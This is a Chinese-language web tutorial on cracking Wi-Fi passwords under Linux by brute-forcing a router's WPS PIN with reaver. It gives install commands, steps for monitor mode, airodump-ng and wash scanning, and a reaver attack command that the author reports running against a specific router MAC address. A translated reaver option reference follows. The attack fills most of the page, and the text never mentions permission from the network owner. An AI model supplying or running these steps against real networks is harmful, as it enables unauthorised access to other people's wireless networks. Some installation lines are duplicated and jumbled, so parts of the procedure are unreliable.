在linux下使用reaver獲取無線wifi密碼的步驟

需要工具:reaver
安裝:
下載源碼
從這個網(wǎng)址下載reaver源代碼http://code.google.com/p/reaver-wps
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
解壓
tar-xzvf reaver-1.4.tar.gz
安裝必要的軟件依賴庫和工具
在您編譯reaver前需要先安裝pcaplib等工具,后面還需要aircrack-ng
sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
編譯和安裝
配置和編譯Reaver
cd reaver-1.4
cd src
./configure
make
下載aircrack-ng源代碼并編譯
從Ubuntu12.04版本開始aircrack-ng不再被包含在版本軟件倉庫中,不過我們可以從網(wǎng)上下載它的源代碼進(jìn)行編譯安裝。如果aircrack-ng已經(jīng)存在,則不必安裝。./configure
make
sudo install
解壓 tar -xzvf reaver-1.4.tar.gz
安裝必要的軟件依賴庫和工具
在您編譯 reaver前需要先安裝 pcaplib等工具,后面還需要 aircrack-ng sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
編譯和安裝
配置和編譯 Reaver
cd reaver-1.4 cd src ./configure make
安裝 Reaver
sudo make install
方法:
1 輸入:airmon-ng start wlan0 開啟監(jiān) 聽模式 (屏幕顯示 加載8187L驅(qū)動成功–一次就加載成功啊!)
2 輸入:wash -i mon0 -C 查看所有開啟WPS的無線路由 長時間無反應(yīng)按Ctrl+C,結(jié)束進(jìn)程,這時記下你要PJ的目標(biāo)路由MAC.
3 輸入:airodump-ng mon0 網(wǎng)卡以混雜模式掃描所有頻道—并顯示所有AP的信息(包括 AP的信號強(qiáng)度,ESSID,MAC,頻道,加密方式,等等…..),按Ctrl+C,結(jié)束掃描.
注:如果你已知對方無線路由信息 第2,第3步 可省略!
4 輸入:reaver -i mon0 -b MAC -a -S -vv 開始窮舉pin碼
注:隨時可以按CTRL+C退出保存進(jìn)程,下次按下光標(biāo)控制鍵“上”鍵然后回車,進(jìn)程可繼續(xù)。
實(shí)戰(zhàn)我輸入了reaver -i mon0 -b MACD8:5D:4C:37:78:F6 -a -S -vv -d 0 ( 多加了 -d 0 加快速度 ),只見屏幕飛閃
reaver 參數(shù)詳解
必須參數(shù)
-i, –interface=<wlan> Name of the monitor-mode interface to use
網(wǎng)卡的監(jiān)視接口,通常是mon0
-b, –bssid=<mac> BSSID of the target AP
AP的MAC地址
Optional Arguments: 可選參數(shù)
-m, –mac=<mac> MAC of the host system
指定本機(jī)MAC地址
-e, –essid=<ssid> ESSID of the target AP
路由器的ESSID,一般不用指定
-c, –channel=<channel> Set the 802.11 channel for the interface (implies -f)
信號的頻道,如果不指定會自動掃描
-o, –out-file=<file> Send output to a log file [stdout]
輸出日志文件
-s, –session=<file> Restore a previous session file
恢復(fù)進(jìn)度文件
-C, –exec=<command> Execute the supplied command upon successful pin recovery
pin成功后執(zhí)行命令
-D, –daemonize Daemonize reaver
設(shè)置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP
對目標(biāo)AP自動檢測高級參數(shù)
-f, –fixed Disable channel hopping
禁止頻道跳轉(zhuǎn)
-5, –5ghz Use 5GHz 802.11 channels
使用5G頻道
-v, –verbose Display non-critical warnings (-vv for more)
顯示不重要警告信息 -vv 可以顯示更多
-q, –quiet Only display critical messages
只顯示關(guān)鍵信息
-h, –help Show help
顯示幫助
Advanced Options:高級選項
-p, –pin=<wps pin> Use the specified 4 or 8 digit WPS pin
使用指定的4位或者8位pin碼
-d, –delay=<seconds> Set the delay between pin attempts [1]
pin間延時,默認(rèn)1秒
-l, –lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60]
AP鎖定WPS后等待時間
-g, –max-attempts=<num> Quit after num pin attempts
最大pin次數(shù)
Reaver 參數(shù)
—天天
-x, –fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]
10次意外失敗后等待時間,默認(rèn)0秒
-r, –recurring-delay=<x:y> Sleep for y seconds every x pin attempts
每x次pin后等待y秒
-t, –timeout=<seconds> Set the receive timeout period [5]
收包超時,默認(rèn)5秒
-T, –m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]
M5/M7超時,默認(rèn)0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application)
不連入AP(連入過程必須有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
不發(fā)送NACK信息(如果一直pin不動,可以嘗試這個參數(shù))
-S, –dh-small Use small DH keys to improve crack speed
使用小DH關(guān)鍵值提高速度(推薦使用)
-L, –ignore-locks Ignore locked state reported by the target AP
忽略目標(biāo)AP報告的鎖定狀態(tài)
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
每當(dāng)收到EAP失敗包就終止WPS進(jìn)程
-n, –nack Target AP always sends a NACK [Auto]
對目標(biāo)AP總是發(fā)送NACK,默認(rèn)自動
-w, –win7 Mimic a Windows 7 registrar [False]
模擬win7注冊,默認(rèn)關(guān)閉
Ps:影響到無線的因素很多,所以各參數(shù)之間的配合很重要,當(dāng)然,最關(guān)鍵的還是取決于信號。
原理詳細(xì):
什么是PIN碼?
印在無線路由器設(shè)備標(biāo)簽上的一組8位數(shù)字字符串,無線路由器管理界面中當(dāng)然也會存在并可更改。
PIN碼有什么用?
在無線網(wǎng)卡的配套管理軟件(如TP-LINK的QSS軟件)里輸入無線路由器設(shè)備上的那8位數(shù)字字符串就可以成功登錄該已被加密的無線路由器。
相關(guān)文章
- 本文教大家如何找回密碼,僅供參考,用于密碼丟失的情況,不要做壞事哦2013-01-09
如何強(qiáng)行破解臺式電腦的開機(jī)密碼?破解方法介紹
你還在為忘記密碼無法開機(jī)而發(fā)愁嗎?你還在為沒有密碼無法打開電腦而著急嗎?本章將大家一個巧妙的小招數(shù),讓你輕松解開任何一個電腦的開機(jī)密碼,非常實(shí)用2013-07-22- PDF因?yàn)椴灰拙庉?,傳輸效果好,可以加密等特點(diǎn)深受大家的喜愛,在需要分享PDF文件到人數(shù)比較多的平臺時,為了不讓其他人可以隨意地查看這個文件,我都會先對這個文件進(jìn)行加2013-09-17
- 大家平時設(shè)置密碼時,為了省事就設(shè)置很簡單的密碼,殊不知卻留下了很大的安全隱患2013-12-06
- 這篇文章主要介紹了密碼的一些存儲方式和安全傳輸建議,本文講解加了密碼存儲、可逆加密方式存儲、非可逆加密方式存儲、密碼傳輸?shù)葍?nèi)容,需要的朋友可以參考下2015-06-16
- 互聯(lián)網(wǎng)生活促成了龐大的賬戶密碼數(shù)據(jù),怎樣設(shè)置自己登陸密碼最安全?什么樣的密碼難破解?據(jù)媒體報道表情符號將成最安全的密碼。2015-06-17
- 散列法會讓黑客很難從散表中回到口令上,同時也會讓網(wǎng)站保存一系列的散列,而不是將它們儲存為安全性低的文本口令。這就意味著,即使散列的口令被偷竊,真正的純文本口令也2016-05-25
- 很多安全專家反復(fù)提醒用戶設(shè)置賬戶和密碼時要盡可能多樣化,以防被破解。黑客只要簡單的使用暴力破解攻擊。暴力破解攻擊是指攻擊者嘗試所有的可能性破解用戶的賬戶名、密碼2016-05-26
- 本文總結(jié)了最差的密碼前25名,看看自己有沒有中招,另外給大家分析了設(shè)置密碼的小技巧,肯定會讓你受益匪淺2016-05-30